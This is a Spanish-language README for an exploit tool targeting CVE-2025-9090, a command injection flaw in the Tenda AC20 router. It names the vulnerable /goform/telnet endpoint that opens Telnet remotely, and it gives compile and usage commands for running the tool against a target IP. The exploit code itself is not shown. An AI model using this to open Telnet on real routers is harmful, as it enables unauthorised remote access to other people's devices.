CVE-2025-9090

Autor: Byte Reaper

Descripción

Este exploit apunta a CVE-2025-9090, una vulnerabilidad de inyección de comandos en el router Tenda AC20 (v16.03.08.12).
El fallo se encuentra en el endpoint /goform/telnet, que puede activarse de forma remota.
Al acceder, inicia el servicio Telnet en el dispositivo, abriendo los puertos 23/2323 para interacción remota.

El programa envía una solicitud al endpoint vulnerable, busca la cadena de respuesta "load telnetd success" y luego intenta conectarse al servicio Telnet para confirmar una explotación exitosa.

Compilación

Compilar usando gcc:

    gcc exploit.c argparse.c -o CVE-2025-9090 -lcurl

Uso :

    -h, --help            show this help message and exit
    -i, --ip              Enter Target IP
    -c, --cookies         Enter File cookies
    -v, --verbose         Verbose Mode
    -f, --loop=           Number request 

EJECUCIÓN :

    ./CVE-2025-9090 -i <IP> 
    - verbose mode :
    ./CVE-2025-9090 -i <IP> -v
    - number request : 
    ./CVE-2025-9090 -i <IP> -v -f 5 (5 POST endpoint)
    - cookies file :
    ./CVE-2025-9090 -i <IP> -v -f 5 -c [file name] 

LICENCIA:

MIT